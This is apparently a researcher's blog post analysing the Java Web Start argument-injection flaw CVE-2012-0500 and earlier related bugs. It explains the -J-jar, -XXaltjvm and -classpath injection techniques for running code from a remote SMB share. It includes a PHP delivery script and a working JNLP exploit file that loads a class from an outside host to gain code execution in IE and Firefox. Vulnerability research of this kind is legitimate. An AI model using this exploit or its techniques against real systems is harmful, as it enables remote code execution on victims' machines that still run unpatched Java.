Java Webstart recently had critical security update in it's Webstart module Oracle Java Critical Patch Update - February 2012, that affects Firefox and IE, we will have few quick analysis of the vulnerable binary and few alternate ways to exploit them.
Little History and Introduction about the Bug:
Current bug is discovered and reported to Oracle by Vulnerability Research Team of TELUS Security Labs.
The vulnerability was similar to Tavis Ormandy and Ruben Santamarta's disclosures CVE: 2010-0886.
Full Disclosure: Java Deployment Toolkit Performs Insufficient Validation of Parameters
Reverse Mode - [0DAY] JAVA Web Start Arbitrary command-line injection - "-XXaltjvm" arbitrary dll loading research which they both discovered independently.
The exploit is a simple argument injection via Java JNPL protocol, and Ruben and Tavis, both demonstrated independent ways to achieve reliable code execution on Windows [IE and Firefox].
Later Vinnu found a way to get code execution on Google Chrome as well, do read it from here.
Garage4hackers Forum - Alternative JVM Xploit - Exploiting JVM on Chrome - A story.
Even though linux version of java were vulnerable as mentioned by ruben on his blog.
Although Linux contains vulnerable code, I was unable to exploit it in the same manner. It likely can be exploited by using the proper sequence of command-line arguments, but the sudden release didn't allow me to research into this issue.I was focused on Windows at the moment of the disclosure.
I will explain whats new and later continue with the rest of the binary analysis and exploit code. Java Web Start Download
Both Ruben and Taviso used the -J option that is used to pass extra argument to JVM, so that way
[ -J ] [Supply extra Argv to JV Machine ]
Taviso simply appended -jar[java code]
So it was an easy game over.
And Ruben method was similar using the same -J option but used an undocumented hidden agrunment that instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path.
-XXaltjvm [path_to/jvm.dll or libjvm.so ]
that way we could load an arbitrary code from a remote SMB by just renaming it to jvm.dll.
So these methods are used in the msf modules of the available exploit codes .
There is a third way of executing code , with out the usage of -J option.
Javaws accepts another argument not mentioned in javaws documents though .
-cp argument take the location of the class file followed by the main class name.
-classpath \\mylocation mycalss
And Bingo we could get code execution .
Well not that cool :P, unless there were Firewall signatures that looking for -J arguments in a JNPL file [am not ware of that situation though]
So the following code will get us Woot Woot on Win Xp - Win7 IE and Firefox.
kind="splash" tag will remove the java splash screen .
Current CVE 2012-0500 referenced to the following vulnerable parameters.
*Java-vm-args [hard to inject]
And -D followed by any of these string are necessary to set the file properties to be considered secured.
<?php // open the file $name = 'j.jnpl'; $fp = fopen($name, 'r'); // send the right headers // Need some fix for this on Firefox header("Content-Type: application/x-java-jnlp-file"); header("Content-Length: " . filesize($name)); // we could execute code two ways using //-J-jar -J\\\\path_to_jar\\calc.jar using -J-jar option tavis method // uisng Rubnes method to load a coustom java virtual Machine. // -J-XXaltjvm=\192.168.43.97\3jEenHLJAqn //using fb1h2s way -cp class_path maincalss //path to share tht jvm will try to auto load jvm.dll // we need to place our binary on the share and name it jvm.dll // dump the picture and stop the script fpassthru($fp); exit; ?> <?xml version="1.0" encoding="UTF-8"?> <jnlp version="1" spec="1.0+" codebase="http://192.168.104.1" href="tried_cache_execution.jar"> <information> <title>Hello</title> <vendor>Hello fb1h2s</vendor> <icon href="v.gif" kind="splash"/> <description>Jdoha Akbar</description> </information> <resources> <java version="1.3+" initial-heap-size='512m" -classpath //192.168.104.1/exp scalc "' /> </resources> <resources><java java-vm-args='-Dhttp.keepAlive=null"' /></resources> </jnlp>
The same logic bug exist in Linux version of Java too.
And the same logic with a little twist could get code working on Linux too.
And I don't think there is a -J option in linux , seems like -XXaltjvm would be accepted directly with out -J, need to dig more .
Am sleepy, will continue tomorrow .